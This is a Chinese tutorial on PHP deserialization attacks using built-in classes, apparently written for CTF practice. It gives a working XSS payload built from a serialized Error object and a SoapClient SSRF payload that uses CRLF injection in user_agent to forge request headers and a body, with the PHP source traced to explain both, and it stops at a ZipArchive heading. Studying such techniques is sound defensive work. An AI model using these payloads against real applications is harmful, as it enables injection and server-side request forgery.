PHP 原生类利用
PHP 原生类指的是 PHP 自带提供、无需用户定义、通常由 PHP 内核或扩展模块实现的类。我们可以通过 get_declared_classes()
函数获取当前脚本中所有已经定义的类的名称,然后枚举其中所有的魔术方法。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34
| <?php
$classes = get_declared_classes();
$magicMethods = [ '__destruct', '__toString', '__wakeup', '__call', '__callStatic', '__get', '__set', '__isset', '__unset', '__invoke', '__set_state' ];
foreach ($classes as $class) { $methods = get_class_methods($class);
if (!$methods) continue;
foreach ($methods as $method) { if (in_array($method, $magicMethods, true)) { print "{$class}::{$method}\n"; } } }
|
结果如下(可能由于 PHP 版本还有加载的扩展不同,结果会稍有差别):
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127
| Exception::__wakeup Exception::__toString ErrorException::__wakeup ErrorException::__toString Error::__wakeup Error::__toString CompileError::__wakeup CompileError::__toString ParseError::__wakeup ParseError::__toString TypeError::__wakeup TypeError::__toString ArgumentCountError::__wakeup ArgumentCountError::__toString ValueError::__wakeup ValueError::__toString ArithmeticError::__wakeup ArithmeticError::__toString DivisionByZeroError::__wakeup DivisionByZeroError::__toString UnhandledMatchError::__wakeup UnhandledMatchError::__toString ClosedGeneratorException::__wakeup ClosedGeneratorException::__toString FiberError::__wakeup FiberError::__toString DateTime::__wakeup DateTime::__set_state DateTimeImmutable::__wakeup DateTimeImmutable::__set_state DateTimeZone::__wakeup DateTimeZone::__set_state DateInterval::__wakeup DateInterval::__set_state DatePeriod::__wakeup DatePeriod::__set_state JsonException::__wakeup JsonException::__toString Random\RandomError::__wakeup Random\RandomError::__toString Random\BrokenRandomEngineError::__wakeup Random\BrokenRandomEngineError::__toString Random\RandomException::__wakeup Random\RandomException::__toString ReflectionException::__wakeup ReflectionException::__toString ReflectionFunctionAbstract::__toString ReflectionFunction::__toString ReflectionParameter::__toString ReflectionType::__toString ReflectionNamedType::__toString ReflectionUnionType::__toString ReflectionIntersectionType::__toString ReflectionMethod::__toString ReflectionClass::__toString ReflectionObject::__toString ReflectionProperty::__toString ReflectionClassConstant::__toString ReflectionExtension::__toString ReflectionZendExtension::__toString ReflectionAttribute::__toString ReflectionEnum::__toString ReflectionEnumUnitCase::__toString ReflectionEnumBackedCase::__toString LogicException::__wakeup LogicException::__toString BadFunctionCallException::__wakeup BadFunctionCallException::__toString BadMethodCallException::__wakeup BadMethodCallException::__toString DomainException::__wakeup DomainException::__toString InvalidArgumentException::__wakeup InvalidArgumentException::__toString LengthException::__wakeup LengthException::__toString OutOfRangeException::__wakeup OutOfRangeException::__toString RuntimeException::__wakeup RuntimeException::__toString OutOfBoundsException::__wakeup OutOfBoundsException::__toString OverflowException::__wakeup OverflowException::__toString RangeException::__wakeup RangeException::__toString UnderflowException::__wakeup UnderflowException::__toString UnexpectedValueException::__wakeup UnexpectedValueException::__toString CachingIterator::__toString RecursiveCachingIterator::__toString SplFileInfo::__toString DirectoryIterator::__toString FilesystemIterator::__toString RecursiveDirectoryIterator::__toString GlobIterator::__toString SplFileObject::__toString SplTempFileObject::__toString SplFixedArray::__wakeup AssertionError::__wakeup AssertionError::__toString SodiumException::__wakeup SodiumException::__toString PDOException::__wakeup PDOException::__toString DOMException::__wakeup DOMException::__toString FFI\Exception::__wakeup FFI\Exception::__toString FFI\ParserException::__wakeup FFI\ParserException::__toString IntlException::__wakeup IntlException::__toString mysqli_sql_exception::__wakeup mysqli_sql_exception::__toString PharException::__wakeup PharException::__toString Phar::__destruct Phar::__toString PharData::__destruct PharData::__toString PharFileInfo::__destruct PharFileInfo::__toString SimpleXMLElement::__toString SimpleXMLIterator::__toString PhpToken::__toString
|
其中与反序列化利用相关的原生类有:
Exception
:所有异常的基类。
Error
ZipArchive
:用于创建、读取、修改 .zip
压缩包的类。
SoapClient
:PHP 原生的 SOAP 客户端,用于远程调用服务。
使用 Error
/Exception
内置类进行 XSS
在许多 CMS、后台日志查看器、调试工具等中可能存在下面这种代码逻辑:
1 2 3 4 5 6 7
| <?php
$data = $_GET['data'] ?? '';
$obj = unserialize($data); echo $obj;
|
如果我们能通过一个反序列化原生类,让该原生类的 __toString
返回一段可控数据,那么这段数据就可以被插入到 HTML 页面上形成反射型 XSS。
在 PHP 中有 Error
和 Exception
是 PHP 内置的异常处理基类。
Exception
类是 PHP 中最早引入的异常处理类(自 PHP 5 起),用于程序逻辑异常的捕获和处理(如数据库错误、文件未找到、用户输入不合法等)。
Error
类是 PHP 7 引入的新异常类型,用于表示致命错误(如类型错误、算术错误等),补充了原本 Exception
处理不到的运行时错误。这个类是所有 PHP 内部错误类(如 TypeError
, ParseError
)的父类。
由于 Error
和 Exception
都实现了 __toString()
方法,它们继承自 Throwable
接口(PHP7+),内部 __toString()
方法会返回的字符串受对象本身控制。因此这两个类都满足上述情境。
1 2 3 4 5 6 7 8 9 10 11 12 13 14
| ZEND_METHOD(Exception, __toString) { if (ZSTR_LEN(message) > 0) { zval message_zv; ZVAL_STR(&message_zv, message);
str = zend_strpprintf_unchecked(0, "%S: %S in %S:" ZEND_LONG_FMT "\nStack trace:\n%S%s%S", name, message, file, line, tmp_trace, ZSTR_LEN(prev_str) ? "\n\nNext " : "", prev_str); } RETURN_STR(str); }
|
以 Error
类为例,如我们构造下面这个 Error
对象并获取序列化的结果:
1 2 3 4 5 6 7
| <?php
$a = new Error("<script>alert(1)</script>");
echo urlencode(serialize($a));
|
那么这段序列化数据在被反序列化后,其中的 JS 代码会被插入到 __toString
返回结果中。
1 2 3
| Error: <script>alert(1)</script> in /home/user/scripts/code.php:3 Stack trace: #0 {main}
|
利用 SoapClient 类进行 SSRF
SoapClient
是 PHP 官方提供的 SOAP WebService 客户端。
该扩展默认不开启,我们需要修改 php.ini
开启扩展。
另外在 Linux 下还要安装扩展:
1
| sudo apt install php-soap
|
在非‑WSDL 模式下,只要给它一组 location
/uri
参数,就能自动把一次方法调用包装成 HTTP/HTTPS POST 请求并发送——这恰恰为 服务器端向任意地址发包 提供了便利。更重要的是:
SoapClient
可以被 序列化 / 反序列化;
- 反序列化后,如果代码里对该对象调用了一个「不存在」的方法,
__call()
会被触发,进而 自动发请求;
user_agent
等可控字段允许插入 \r\n
,可扩展为 CRLF 注入 来伪造额外请求头或请求体。
例如我们按下面这样构造一个 SoapClient
对象并且调用不存在的方法触发 __call
魔术方法:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15
| $ua = "evil\r\n" . "X-Forwarded-For: 127.0.0.1,127.0.0.1\r\n" . "Content-Type: application/x-www-form-urlencoded\r\n" . "Content-Length: 13\r\n" . "\r\n" . "token=ctfshow";
$c = new SoapClient(null, [ 'location' => 'http://127.0.0.1:8000/flag.php', 'uri' => 'http://dummy/', 'user_agent' => $ua, 'exceptions' => 0 ]);
$c->foo();
|
则会触发 SSRF:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15
| POST /flag.php HTTP/1.1 Host: 127.0.0.1:8000 Connection: Keep-Alive User-Agent: evil X-Forwarded-For: 127.0.0.1,127.0.0.1 Content-Type: application/x-www-form-urlencoded Content-Length: 13
token=ctfshow Content-Type: text/xml; charset=utf-8 SOAPAction: "http://dummy/#foo" Content-Length: 376
<?xml version="1.0" encoding="UTF-8"?> <SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" xmlns:ns1="http://dummy/" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:SOAP-ENC="http://schemas.xmlsoap.org/soap/encoding/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><SOAP-ENV:Body><ns1:foo/></SOAP-ENV:Body></SOAP-ENV:Envelope>
|
在构造 SoapClient
对象的时候会将传入的 location
还有 user_agent
写入对象属性。
1 2 3 4 5 6 7 8 9
| if ((tmp = zend_hash_str_find(ht, "location", 8)) && Z_TYPE_P(tmp) == IS_STRING) { ZVAL_STR_COPY(Z_CLIENT_LOCATION_P(this_ptr), Z_STR_P(tmp)); }
if ((tmp = zend_hash_str_find(ht, "user_agent", 10)) && Z_TYPE_P(tmp) == IS_STRING) { ZVAL_STR_COPY(Z_CLIENT_USER_AGENT_P(this_ptr), Z_STR_P(tmp)); }
|
在我们调用 SoapClient
的一个不存在的方法时会有如下调用链:
1 2 3 4 5 6 7 8 9 10
| ┌─ 用户代码 $client->foo() │ ├─ SoapClient::__call() │ ↳ soap_client_call_common() │ ↳ do_soap_call() │ ↳ do_request() │ ↳ SoapClient::__doRequest() │ ↳ make_http_soap_request() (libcurl / php_stream) │ ↳ 发送 HTTP/HTTPS 请求 └─ HTTP response 解析 → parse_packet_soap() → 返回
|
其中 location
会在 soap_client_call_common
函数中被取出。
1 2 3 4 5 6 7
| if (location == NULL) { tmp = Z_CLIENT_LOCATION_P(this_ptr); if (Z_TYPE_P(tmp) == IS_STRING) { location = Z_STR_P(tmp); } }
|
然后在 do_soap_call
函数中作为请求的 URL 传入 do_request
函数。
1 2 3 4 5 6
| if (location == NULL) { add_soap_fault_en(... "'location' option is required"); } request = serialize_function_call(...); ret = do_request(this_ptr, request, location, action, ...);
|
最终调用到 make_http_soap_request
函数,此时构造函数传入的 user_agent
会被 curl_slist_append
函数添加到请求头 headers
中。
1 2 3 4 5 6 7 8 9 10 11
| curl_easy_setopt(curl, CURLOPT_URL, location); ...
if (Z_TYPE_P(Z_CLIENT_USER_AGENT_P(client)) == IS_STRING) { headers = curl_slist_append(headers, Z_STRVAL_P(Z_CLIENT_USER_AGENT_P(client))); }
... curl_easy_setopt(curl, CURLOPT_POSTFIELDS, buf); curl_easy_perform(curl);
|
由于 curl_slist_append()
不会过滤 \r
或 \n
:
- 只要在 UA 里插入
\r\n
并加上一个空行,后面的部分就被当成新的 Header;
- 再插入
\r\n\r\ntoken=ctfshow
,即可把原本的 XML 丢掉,让 body 变成自定义表单数据。
利用 ZipArchive 进行文件操作